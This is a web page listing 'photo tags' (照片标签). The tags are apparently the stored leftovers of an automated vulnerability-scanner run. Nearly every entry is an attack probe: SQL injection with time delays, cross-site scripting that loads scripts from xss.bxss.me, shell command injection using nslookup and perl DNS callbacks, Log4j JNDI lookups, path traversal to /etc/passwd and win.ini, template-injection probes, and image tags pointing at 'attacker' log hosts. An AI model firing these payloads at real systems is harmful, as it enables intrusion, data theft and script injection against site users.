×
照片标签：
- e
- 1B5dk6e8DiO
- response.write(9646313*9348888)
- '+response.write(9646313*9348888)+'
- ../../../../../../../../../../../../../../windows/win.ini
- "+response.write(9646313*9348888)+"
- ../e
- e<esi:include src="http://bxss.me/rpb.png"/>
- ${10000475+9999873}
- echo mfwkex$()\ dxrlea\nz^xyu||a #' &echo mfwkex$()\ dxrlea\nz^xyu||a #|" &echo mfwkex$()\ dxrlea\nz^xyu||a #
- &echo hivdvh$()\ gbsdem\nz^xyu||a #' &echo hivdvh$()\ gbsdem\nz^xyu||a #|" &echo hivdvh$()\ gbsdem\nz^xyu||a #
- |echo voqbje$()\ gyoqpp\nz^xyu||a #' |echo voqbje$()\ gyoqpp\nz^xyu||a #|" |echo voqbje$()\ gyoqpp\nz^xyu||a #
- (nslookup hitjfeierufux07b26.bxss.me||perl -e "gethostbyname('hitjfeierufux07b26.bxss.me')")
- $(nslookup hitclblxhmrpmc0e37.bxss.me||perl -e "gethostbyname('hitclblxhmrpmc0e37.bxss.me')")
- '.gethostbyname(lc('hitzr'.'hihelbnu976db.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(78).chr(106).chr(69).'
- )
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- &(nslookup hitvyhhcyfnxc631ae.bxss.me||perl -e "gethostbyname('hitvyhhcyfnxc631ae.bxss.me')")&'\"`0&(nslookup hitvyhhcyfnxc631ae.bxss.me||perl -e "gethostbyname('hitvyhhcyfnxc631ae.bxss.me')")&`'
- ".gethostbyname(lc("hitgx"."dxsxztjh0531c.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(74).chr(106).chr(82)."
- 1some_inexistent_file_with_long_name .jpg
- |(nslookup hitsulzumhhfjb02b7.bxss.me||perl -e "gethostbyname('hitsulzumhhfjb02b7.bxss.me')")
- ^(#$!@#$)(()))******
- `(nslookup hitifhhjhnhhs3514b.bxss.me||perl -e "gethostbyname('hitifhhjhnhhs3514b.bxss.me')")`
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- HttP://bxss.me/t/xss.html?%00
- bxss.me
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(121).concat(73).concat(119).concat(77)+(require"socket" Socket.gethostbyname("hitkt"+"ydqbyptsc40da.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(99).concat(87).concat(98).concat(79)+(require'socket' Socket.gethostbyname('hitdz'+'xopeqzmi613b7.bxss.me.')[3].to_s)+'
- '
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- "
- ${@print(md5(31337))}
- bibs
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- '"
- bibs/.
- <!--
- T2kEFMyJ
- -1 OR 2+513-513-1=0+0+0+1 --
- -1 OR 2+91-91-1=0+0+0+1
- -1' OR 2+231-231-1=0+0+0+1 --
- -1' OR 2+416-416-1=0+0+0+1 or 'vWk10OEk'='
- -1" OR 2+761-761-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 1 waitfor delay '0:0:15' --
- dqGg9omy'
- BoKzbWkG' OR 211=(SELECT 211 FROM PG_SLEEP(15))--
- cTNyt3PF') OR 906=(SELECT 906 FROM PG_SLEEP(15))--
- HwOKBM9v')) OR 379=(SELECT 379 FROM PG_SLEEP(15))--
- e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@b7bst
- e'"()&%<acx><ScRiPt >H7lG(9368)</ScRiPt>
- '"()&%<acx><ScRiPt >H7lG(9242)</ScRiPt>
- e9395199
- acu5827＜s1﹥s2ʺs3ʹuca5827
- acux2740z1z2abcxuca2740
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu6966＜s1﹥s2ʺs3ʹuca6966
- acux6840z1z2abcxuca6840
- acu2959＜s1﹥s2ʺs3ʹuca2959
- acux1295z1z2abcxuca1295
- e"onmouseover=H7lG(95312)"
- e" QWNX=H7lG([!+!]) SM2="
- e\u0022onmouseover=H7lG(91033)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%48%37%6C%47%28%39%39%36%35%34%29%22
- "onmouseover=H7lG(94575)//
- e"sTYLe='acu:Expre/**/SSion(H7lG(9235))'bad="
- e"><script>H7lG(9292)</script>
- e<ScRiPt >H7lG(9092)</ScRiPt>
- e<WMJEUY>NF8LO[!+!]</WMJEUY>
- e<script>H7lG(9170)</script>
- e<ScR<ScRiPt>IpT>H7lG(9282)</sCr<ScRiPt>IpT>
- e<ScRiPt >H7lG(9315)</ScRiPt>
- e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9713></ScRiPt>
- e< ScRiPt >H7lG(9703)</ScRiPt>
- e<svg onload=H7lG(9130)
- e<isindex type=image src=1 onerror=H7lG(9414)>
- e<iframe src='data:text/html
- e<body onload=H7lG(9081)>
- e<img src=//xss.bxss.me/t/dot.gif onload=H7lG(9790)>
- e<img src=xyz OnErRor=H7lG(9628)>
- e<img/src=">" onerror=alert(9542)>
- %65%3C%53%63%52%69%50%74%20%3E%48%37%6C%47%289638%29%3C%2F%73%43%72%69%70%54%3E
- e\u003CScRiPt\H7lG(9727)\u003C/sCripT\u003E
- e<
- <img acu onmouseover=H7lG(93741) //>
- e<input autofocus onfocus=H7lG(9171)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- e}body{acu:Expre/**/SSion(H7lG(9757))}
- e<% contenteditable onresize=H7lG(9665)>
- ep3Maz <ScRiPt >H7lG(9633)</ScRiPt>
- e<WXAGCE>VTRJD[!+!]</WXAGCE>
- e<ifRAme sRc=9169.com></IfRamE>
- e<sTYiI6 x=9134>
- e<img sRc='http://attacker-9375/log.php?
- e<OhBKRU<
- e'"()&%<acx><ScRiPt >beoF(9856)</ScRiPt>
- '"()&%<acx><ScRiPt >beoF(9910)</ScRiPt>
- e9811192
- acu4867＜s1﹥s2ʺs3ʹuca4867
- acux10732z1z2abcxuca10732
- acu1129＜s1﹥s2ʺs3ʹuca1129
- acux4203z1z2abcxuca4203
- acu10105＜s1﹥s2ʺs3ʹuca10105
- acux5090z1z2abcxuca5090
- e"onmouseover=beoF(99662)"
- e" Wj5D=beoF([!+!]) jU8="
- e\u0022onmouseover=beoF(96853)\u0022
- %65%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%62%65%6F%46%28%39%35%39%34%34%29%22
- "onmouseover=beoF(94235)//
- e"sTYLe='acu:Expre/**/SSion(beoF(9393))'bad="
- e"><script>beoF(9435)</script>
- e<ScRiPt >beoF(9418)</ScRiPt>
- e<WCI4KM>GQVTN[!+!]</WCI4KM>
- e<script>beoF(9443)</script>
- e<ScR<ScRiPt>IpT>beoF(9739)</sCr<ScRiPt>IpT>
- e<ScRiPt >beoF(9862)</ScRiPt>
- e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9070></ScRiPt>
- e< ScRiPt >beoF(9433)</ScRiPt>
- e<svg onload=beoF(9337)
- e<isindex type=image src=1 onerror=beoF(9183)>
- e<body onload=beoF(9016)>
- e<img src=//xss.bxss.me/t/dot.gif onload=beoF(9011)>
- e<img src=xyz OnErRor=beoF(9238)>
- e<img/src=">" onerror=alert(9496)>
- %65%3C%53%63%52%69%50%74%20%3E%62%65%6F%46%289094%29%3C%2F%73%43%72%69%70%54%3E
- e\u003CScRiPt\beoF(9893)\u003C/sCripT\u003E
- <img acu onmouseover=beoF(99551) //>
- e<input autofocus onfocus=beoF(9325)>
- e}body{acu:Expre/**/SSion(beoF(9778))}
- e<% contenteditable onresize=beoF(9486)>
- e56vV9 <ScRiPt >beoF(9181)</ScRiPt>
- e<W4LDF6>TKUYA[!+!]</W4LDF6>
- e<ifRAme sRc=9029.com></IfRamE>
- e<5HgJLs x=9939>
- e<img sRc='http://attacker-9920/log.php?
- e<hBLtzY<
- 1
- response.write(9751703*9240054)
- '+response.write(9751703*9240054)+'
- "+response.write(9751703*9240054)+"
- ../../../../../../../../../../../../../../etc/passwd
- 12345'"\'\")
- ../1
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${10000026+10000150}
- '.gethostbyname(lc('hitpg'.'rowmdcyk0448a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(79).chr(106).chr(71).'
- echo jywirh$()\ ahzccn\nz^xyu||a #' &echo jywirh$()\ ahzccn\nz^xyu||a #|" &echo jywirh$()\ ahzccn\nz^xyu||a #
- ".gethostbyname(lc("hitqe"."xplpgjhy60eb0.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(65).chr(110).chr(70)."
- &echo oglwqz$()\ yrglkj\nz^xyu||a #' &echo oglwqz$()\ yrglkj\nz^xyu||a #|" &echo oglwqz$()\ yrglkj\nz^xyu||a #
- |echo gvwfbw$()\ vyvonk\nz^xyu||a #' |echo gvwfbw$()\ vyvonk\nz^xyu||a #|" |echo gvwfbw$()\ vyvonk\nz^xyu||a #
- !(()&&!|*|*|
- (nslookup hitadkrtpqhgs5a0b8.bxss.me||perl -e "gethostbyname('hitadkrtpqhgs5a0b8.bxss.me')")
- $(nslookup hitetwihljtas0151b.bxss.me||perl -e "gethostbyname('hitetwihljtas0151b.bxss.me')")
- &(nslookup hitknrxlzqgtt8dec7.bxss.me||perl -e "gethostbyname('hitknrxlzqgtt8dec7.bxss.me')")&'\"`0&(nslookup hitknrxlzqgtt8dec7.bxss.me||perl -e "gethostbyname('hitknrxlzqgtt8dec7.bxss.me')")&`'
- |(nslookup hitvtfwlpykyw71f44.bxss.me||perl -e "gethostbyname('hitvtfwlpykyw71f44.bxss.me')")
- "+"A".concat(70-3).concat(22*4).concat(98).concat(79).concat(101).concat(76)+(require"socket" Socket.gethostbyname("hitmq"+"tqeljsmnbad59.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(117).concat(73).concat(120).concat(74)+(require'socket' Socket.gethostbyname('hittk'+'prresyvz91ebe.bxss.me.')[3].to_s)+'
- `(nslookup hitgyfuqctuwjbe0de.bxss.me||perl -e "gethostbyname('hitgyfuqctuwjbe0de.bxss.me')")`
- SEnTmefC
- -1 OR 2+932-932-1=0+0+0+1 --
- -1 OR 2+780-780-1=0+0+0+1
- -1' OR 2+374-374-1=0+0+0+1 --
- -1' OR 2+780-780-1=0+0+0+1 or 'hTiBbiGC'='
- -1" OR 2+165-165-1=0+0+0+1 --
- -1
- -1)
- efnRDV1l'
- -5 OR 305=(SELECT 305 FROM PG_SLEEP(15))--
- -5) OR 383=(SELECT 383 FROM PG_SLEEP(15))--
- -1)) OR 728=(SELECT 728 FROM PG_SLEEP(15))--
- 1wmCNstt' OR 469=(SELECT 469 FROM PG_SLEEP(15))--
- zEB1AtdE') OR 937=(SELECT 937 FROM PG_SLEEP(15))--
- bqhQEiDi')) OR 366=(SELECT 366 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- @@ubn8G
- jBVK1cWl
- -1 OR 2+339-339-1=0+0+0+1 --
- -1 OR 2+295-295-1=0+0+0+1
- -1' OR 2+152-152-1=0+0+0+1 --
- -1' OR 2+605-605-1=0+0+0+1 or '7kk4joaX'='
- -1" OR 2+122-122-1=0+0+0+1 --
- aJRFlXHa'
- -5 OR 813=(SELECT 813 FROM PG_SLEEP(15))--
- ${j${::-n}di:dns${::-:}//hitdajiegeeoh5f47b${::-.}bxss.me}zzzz
- -5) OR 432=(SELECT 432 FROM PG_SLEEP(15))--
- -1)) OR 793=(SELECT 793 FROM PG_SLEEP(15))--
- xrGJs59M' OR 956=(SELECT 956 FROM PG_SLEEP(15))--
- 1QjENU5k') OR 11=(SELECT 11 FROM PG_SLEEP(15))--
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-90383..1bb04${::-.}1${::-.}bxss.me}}
- ZU1z3Hnz')) OR 469=(SELECT 469 FROM PG_SLEEP(15))--
- @@SGbVu
- response.write(9753637*9463798)
- '+response.write(9753637*9463798)+'
- "+response.write(9753637*9463798)+"
- echo caaget$()\ fudxfq\nz^xyu||a #' &echo caaget$()\ fudxfq\nz^xyu||a #|" &echo caaget$()\ fudxfq\nz^xyu||a #
- &echo kwkxin$()\ mbamnx\nz^xyu||a #' &echo kwkxin$()\ mbamnx\nz^xyu||a #|" &echo kwkxin$()\ mbamnx\nz^xyu||a #
- |echo mmrkzr$()\ porqlb\nz^xyu||a #' |echo mmrkzr$()\ porqlb\nz^xyu||a #|" |echo mmrkzr$()\ porqlb\nz^xyu||a #
- (nslookup hitjqzmhffmxl16b69.bxss.me||perl -e "gethostbyname('hitjqzmhffmxl16b69.bxss.me')")
- $(nslookup hitqmmvgcwdtr37a5d.bxss.me||perl -e "gethostbyname('hitqmmvgcwdtr37a5d.bxss.me')")
- &(nslookup hitiegpljcdzc7ea27.bxss.me||perl -e "gethostbyname('hitiegpljcdzc7ea27.bxss.me')")&'\"`0&(nslookup hitiegpljcdzc7ea27.bxss.me||perl -e "gethostbyname('hitiegpljcdzc7ea27.bxss.me')")&`'
- |(nslookup hitfzwbhacaarcf1c6.bxss.me||perl -e "gethostbyname('hitfzwbhacaarcf1c6.bxss.me')")
- `(nslookup hitxfpfxpzxfy8cd5a.bxss.me||perl -e "gethostbyname('hitxfpfxpzxfy8cd5a.bxss.me')")`
- 871cqmpm
- ${9999890+9999853}
- 1&n948591=v933789
- '"()
- '.gethostbyname(lc('hitcv'.'cppknfyx4db36.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(65).chr(111).chr(85).'
- ".gethostbyname(lc("hitem"."vkwpjhsxaae12.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(83).chr(117).chr(89)."
- "+"A".concat(70-3).concat(22*4).concat(114).concat(68).concat(110).concat(72)+(require"socket" Socket.gethostbyname("hitxm"+"iomcdezoe5975.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(69).concat(118).concat(81)+(require'socket' Socket.gethostbyname('hitsh'+'gekzptnm85f78.bxss.me.')[3].to_s)+'
- /xfs.bxss.me
- 1'"()&%<acx><ScRiPt >ciA4(9453)</ScRiPt>
- '"()&%<acx><ScRiPt >ciA4(9663)</ScRiPt>
- 19647592
- acu9758＜s1﹥s2ʺs3ʹuca9758
- acux8918z1z2abcxuca8918
- acu6466＜s1﹥s2ʺs3ʹuca6466
- acux10745z1z2abcxuca10745
- acu2755＜s1﹥s2ʺs3ʹuca2755
- acux1502z1z2abcxuca1502
- 1"onmouseover=ciA4(92722)"
- 1" 5EPe=ciA4([!+!]) wJb="
- 1\u0022onmouseover=ciA4(90633)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%63%69%41%34%28%39%39%33%33%34%29%22
- "onmouseover=ciA4(91065)//
- 1"sTYLe='acu:Expre/**/SSion(ciA4(9808))'bad="
- 1"><script>ciA4(9202)</script>
- 1<ScRiPt >ciA4(9302)</ScRiPt>
- 1<W9OOZZ>8M8GB[!+!]</W9OOZZ>
- 1<script>ciA4(9712)</script>
- 1<ScR<ScRiPt>IpT>ciA4(9202)</sCr<ScRiPt>IpT>
- 1<ScRiPt >ciA4(9143)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9826></ScRiPt>
- 1< ScRiPt >ciA4(9093)</ScRiPt>
- 1<svg onload=ciA4(9760)
- 1<isindex type=image src=1 onerror=ciA4(9125)>
- 1<iframe src='data:text/html
- 1<body onload=ciA4(9544)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=ciA4(9296)>
- 1<img src=xyz OnErRor=ciA4(9220)>
- 1<img/src=">" onerror=alert(9866)>
- %31%3C%53%63%52%69%50%74%20%3E%63%69%41%34%289316%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\ciA4(9979)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=ciA4(94021) //>
- 1<input autofocus onfocus=ciA4(9750)>
- 1}body{acu:Expre/**/SSion(ciA4(9812))}
- 1LP5lY <ScRiPt >ciA4(9658)</ScRiPt>
- 1<W94GC8>YKVV7[!+!]</W94GC8>
- 1<ifRAme sRc=9270.com></IfRamE>
- 1<aULZgtB x=9936>
- 1<img sRc='http://attacker-9576/log.php?
- 1<aCZFnwn<
- 1BysKPlTKGO
- ${j${::-n}di:dns${::-:}//hitkdmkbajfep1728f${::-.}bxss.me}zzzz
- response.write(9993722*9064634)
- '+response.write(9993722*9064634)+'
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-245685..1bb04${::-.}1${::-.}bxss.me}}
- "+response.write(9993722*9064634)+"
- BrQ3lISB
- echo slvpuc$()\ dobiiz\nz^xyu||a #' &echo slvpuc$()\ dobiiz\nz^xyu||a #|" &echo slvpuc$()\ dobiiz\nz^xyu||a #
- &echo pyxdfn$()\ lnxlsk\nz^xyu||a #' &echo pyxdfn$()\ lnxlsk\nz^xyu||a #|" &echo pyxdfn$()\ lnxlsk\nz^xyu||a #
- |echo bgnfiq$()\ dxxzmh\nz^xyu||a #' |echo bgnfiq$()\ dxxzmh\nz^xyu||a #|" |echo bgnfiq$()\ dxxzmh\nz^xyu||a #
- (nslookup hittluiayshui401e9.bxss.me||perl -e "gethostbyname('hittluiayshui401e9.bxss.me')")
- $(nslookup hitsmcvkjjkikf651f.bxss.me||perl -e "gethostbyname('hitsmcvkjjkikf651f.bxss.me')")
- &(nslookup hitylhjzzbowf9e9e0.bxss.me||perl -e "gethostbyname('hitylhjzzbowf9e9e0.bxss.me')")&'\"`0&(nslookup hitylhjzzbowf9e9e0.bxss.me||perl -e "gethostbyname('hitylhjzzbowf9e9e0.bxss.me')")&`'
- |(nslookup hitchguuqkfqza1c60.bxss.me||perl -e "gethostbyname('hitchguuqkfqza1c60.bxss.me')")
- `(nslookup hitizwloovmfw0f645.bxss.me||perl -e "gethostbyname('hitizwloovmfw0f645.bxss.me')")`
- yTozDf8V
- -1 OR 2+599-599-1=0+0+0+1 --
- -1 OR 2+770-770-1=0+0+0+1
- ${10000136+9999986}
- -1' OR 2+597-597-1=0+0+0+1 --
- -1' OR 2+742-742-1=0+0+0+1 or 'waHAkMtm'='
- -1" OR 2+841-841-1=0+0+0+1 --
- 1&n944302=v927308
- N3z1zxDI'
- -5 OR 593=(SELECT 593 FROM PG_SLEEP(15))--
- -5) OR 67=(SELECT 67 FROM PG_SLEEP(15))--
- -1)) OR 166=(SELECT 166 FROM PG_SLEEP(15))--
- orFP2nOc' OR 849=(SELECT 849 FROM PG_SLEEP(15))--
- SSanHfUR') OR 169=(SELECT 169 FROM PG_SLEEP(15))--
- Jsdi232U')) OR 979=(SELECT 979 FROM PG_SLEEP(15))--
- '.gethostbyname(lc('hitwp'.'svcslnzvf4b06.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(77).chr(115).chr(76).'
- ".gethostbyname(lc("hitmg"."tdhowvmz6e38f.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(72).chr(97).chr(84)."
- @@JBSpE
- "+"A".concat(70-3).concat(22*4).concat(100).concat(76).concat(108).concat(81)+(require"socket" Socket.gethostbyname("hitsi"+"qfyblgqef7eb0.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(115).concat(88).concat(110).concat(86)+(require'socket' Socket.gethostbyname('hitlu'+'juhlwroc06bd2.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >TUu0(9069)</ScRiPt>
- '"()&%<acx><ScRiPt >TUu0(9183)</ScRiPt>
- 19131612
- acu3739＜s1﹥s2ʺs3ʹuca3739
- acux1622z1z2abcxuca1622
- acu7768＜s1﹥s2ʺs3ʹuca7768
- acux3285z1z2abcxuca3285
- acu9876＜s1﹥s2ʺs3ʹuca9876
- acux9649z1z2abcxuca9649
- 1"onmouseover=TUu0(92102)"
- 1" siHh=TUu0([!+!]) vcn="
- 1\u0022onmouseover=TUu0(93603)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%54%55%75%30%28%39%38%30%37%34%29%22
- "onmouseover=TUu0(90255)//
- 1"sTYLe='acu:Expre/**/SSion(TUu0(9076))'bad="
- 1"><script>TUu0(9089)</script>
- 1<ScRiPt >TUu0(9773)</ScRiPt>
- 1<WANPJY>EPOHM[!+!]</WANPJY>
- 1<script>TUu0(9961)</script>
- 1<ScR<ScRiPt>IpT>TUu0(9973)</sCr<ScRiPt>IpT>
- 1<ScRiPt >TUu0(9173)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9978></ScRiPt>
- 1< ScRiPt >TUu0(9462)</ScRiPt>
- 1<svg onload=TUu0(9944)
- 1<isindex type=image src=1 onerror=TUu0(9863)>
- 1<body onload=TUu0(9728)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=TUu0(9620)>
- 1<img src=xyz OnErRor=TUu0(9021)>
- 1<img/src=">" onerror=alert(9552)>
- %31%3C%53%63%52%69%50%74%20%3E%54%55%75%30%289631%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\TUu0(9920)\u003C/sCripT\u003E
- <img acu onmouseover=TUu0(93481) //>
- 1<input autofocus onfocus=TUu0(9384)>
- 1}body{acu:Expre/**/SSion(TUu0(9086))}
- 16lvow <ScRiPt >TUu0(9377)</ScRiPt>
- 1<WOZD5S>IUBQU[!+!]</WOZD5S>
- 1<ifRAme sRc=9245.com></IfRamE>
- 1<ai1cmPj x=9976>
- 1<img sRc='http://attacker-9806/log.php?
- 1<ahFGXAR<
- 1'"()&%<acx><ScRiPt >NAaH(9715)</ScRiPt>
- '"()&%<acx><ScRiPt >NAaH(9067)</ScRiPt>
- 19672901
- acu4184＜s1﹥s2ʺs3ʹuca4184
- acux9360z1z2abcxuca9360
- acu7568＜s1﹥s2ʺs3ʹuca7568
- acux8478z1z2abcxuca8478
- acu2346＜s1﹥s2ʺs3ʹuca2346
- acux3501z1z2abcxuca3501
- 1"onmouseover=NAaH(96002)"
- 1" 7h6o=NAaH([!+!]) sJl="
- 1\u0022onmouseover=NAaH(91313)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%4E%41%61%48%28%39%35%31%35%34%29%22
- "onmouseover=NAaH(99405)//
- 1"sTYLe='acu:Expre/**/SSion(NAaH(9044))'bad="
- 1"><script>NAaH(9089)</script>
- 1<ScRiPt >NAaH(9103)</ScRiPt>
- 1<W9FC7N>HUL6I[!+!]</W9FC7N>
- 1<script>NAaH(9282)</script>
- 1<ScR<ScRiPt>IpT>NAaH(9012)</sCr<ScRiPt>IpT>
- 1<ScRiPt >NAaH(9071)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9580></ScRiPt>
- 1< ScRiPt >NAaH(9170)</ScRiPt>
- 1<svg onload=NAaH(9575)
- 1<isindex type=image src=1 onerror=NAaH(9511)>
- 1<body onload=NAaH(9308)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=NAaH(9691)>
- 1<img src=xyz OnErRor=NAaH(9135)>
- 1<img/src=">" onerror=alert(9049)>
- %31%3C%53%63%52%69%50%74%20%3E%4E%41%61%48%289817%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\NAaH(9447)\u003C/sCripT\u003E
- <img acu onmouseover=NAaH(93451) //>
- 1<input autofocus onfocus=NAaH(9344)>
- 1}body{acu:Expre/**/SSion(NAaH(9967))}
- 1YOn3X <ScRiPt >NAaH(9644)</ScRiPt>
- 1<WJPQFI>SBOBZ[!+!]</WJPQFI>
- 1<ifRAme sRc=9170.com></IfRamE>
- 1<aiAIlLs x=9369>
- 1<img sRc='http://attacker-9482/log.php?
- 1<axpyFjC<
- echo nlnnls$()\ hslrzs\nz^xyu||a #' &echo nlnnls$()\ hslrzs\nz^xyu||a #|" &echo nlnnls$()\ hslrzs\nz^xyu||a #
- &echo oczjue$()\ dgjwzd\nz^xyu||a #' &echo oczjue$()\ dgjwzd\nz^xyu||a #|" &echo oczjue$()\ dgjwzd\nz^xyu||a #
- |echo jyqeil$()\ zanmiq\nz^xyu||a #' |echo jyqeil$()\ zanmiq\nz^xyu||a #|" |echo jyqeil$()\ zanmiq\nz^xyu||a #
- (nslookup hitqoqjnyjtpx8a41e.bxss.me||perl -e "gethostbyname('hitqoqjnyjtpx8a41e.bxss.me')")
- $(nslookup hitdzrovigsbje30b0.bxss.me||perl -e "gethostbyname('hitdzrovigsbje30b0.bxss.me')")
- &(nslookup hitxgfrdbigov5a33a.bxss.me||perl -e "gethostbyname('hitxgfrdbigov5a33a.bxss.me')")&'\"`0&(nslookup hitxgfrdbigov5a33a.bxss.me||perl -e "gethostbyname('hitxgfrdbigov5a33a.bxss.me')")&`'
- |(nslookup hitsowczimcem63452.bxss.me||perl -e "gethostbyname('hitsowczimcem63452.bxss.me')")
- `(nslookup hitgmsdlnceca09f2d.bxss.me||perl -e "gethostbyname('hitgmsdlnceca09f2d.bxss.me')")`
- '.gethostbyname(lc('hitnn'.'dmecsnjqa397d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(80).chr(99).chr(78).'
- ".gethostbyname(lc("hitei"."vgoyyqus1287a.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(71).chr(115).chr(70)."
- echo evxvlm$()\ ypgrkm\nz^xyu||a #' &echo evxvlm$()\ ypgrkm\nz^xyu||a #|" &echo evxvlm$()\ ypgrkm\nz^xyu||a #
- &echo fmelrs$()\ wkkama\nz^xyu||a #' &echo fmelrs$()\ wkkama\nz^xyu||a #|" &echo fmelrs$()\ wkkama\nz^xyu||a #
- |echo wzmuon$()\ rvigen\nz^xyu||a #' |echo wzmuon$()\ rvigen\nz^xyu||a #|" |echo wzmuon$()\ rvigen\nz^xyu||a #
- (nslookup hitlupwjrdxfnd6058.bxss.me||perl -e "gethostbyname('hitlupwjrdxfnd6058.bxss.me')")
- $(nslookup hitmxislglcruc3ca5.bxss.me||perl -e "gethostbyname('hitmxislglcruc3ca5.bxss.me')")
- &(nslookup hitqgllklxyrd0f0fc.bxss.me||perl -e "gethostbyname('hitqgllklxyrd0f0fc.bxss.me')")&'\"`0&(nslookup hitqgllklxyrd0f0fc.bxss.me||perl -e "gethostbyname('hitqgllklxyrd0f0fc.bxss.me')")&`'
- |(nslookup hitmppmublipr807ee.bxss.me||perl -e "gethostbyname('hitmppmublipr807ee.bxss.me')")
- `(nslookup hitgtuadcpefrd75c0.bxss.me||perl -e "gethostbyname('hitgtuadcpefrd75c0.bxss.me')")`
- '.gethostbyname(lc('hitjc'.'eggwowwnd2885.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(77).chr(117).chr(66).'
- ".gethostbyname(lc("hitxh"."wmgvelgp3388e.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(74).chr(98).chr(67)."
- teAl3eRX
- -1 OR 2+526-526-1=0+0+0+1 --
- -1 OR 2+923-923-1=0+0+0+1
- -1' OR 2+739-739-1=0+0+0+1 --
- -1' OR 2+281-281-1=0+0+0+1 or 'zzYrReQI'='
- -1" OR 2+902-902-1=0+0+0+1 --
- UnZemDKJ'
- D2vysc6F' OR 844=(SELECT 844 FROM PG_SLEEP(15))--
- gpxnZmtl') OR 726=(SELECT 726 FROM PG_SLEEP(15))--
- 16yD0ti4')) OR 838=(SELECT 838 FROM PG_SLEEP(15))--
- @@u8lNA
- iNz89skL
- -1 OR 2+719-719-1=0+0+0+1 --
- -1 OR 2+232-232-1=0+0+0+1
- -1' OR 2+716-716-1=0+0+0+1 --
- -1' OR 2+505-505-1=0+0+0+1 or 'zbmQfYOr'='
- -1" OR 2+19-19-1=0+0+0+1 --
- MqIBK96H'
- -5 OR 242=(SELECT 242 FROM PG_SLEEP(15))--
- -5) OR 940=(SELECT 940 FROM PG_SLEEP(15))--
- -1)) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
- t1YuhPzH' OR 451=(SELECT 451 FROM PG_SLEEP(15))--
- KlgpWdsE') OR 321=(SELECT 321 FROM PG_SLEEP(15))--
- VyegDoFf')) OR 605=(SELECT 605 FROM PG_SLEEP(15))--
- @@xqNUN
- 98vLXhBJ
- -1 OR 2+543-543-1=0+0+0+1 --
- -1 OR 2+133-133-1=0+0+0+1
- -1' OR 2+26-26-1=0+0+0+1 --
- -1' OR 2+670-670-1=0+0+0+1 or 'UmvaDbo0'='
- -1" OR 2+113-113-1=0+0+0+1 --
- S55r1Ztq'
- -5 OR 283=(SELECT 283 FROM PG_SLEEP(15))--
- -5) OR 87=(SELECT 87 FROM PG_SLEEP(15))--
- -1)) OR 232=(SELECT 232 FROM PG_SLEEP(15))--
- p3MwfPua' OR 776=(SELECT 776 FROM PG_SLEEP(15))--
- Fp6Ajege') OR 11=(SELECT 11 FROM PG_SLEEP(15))--
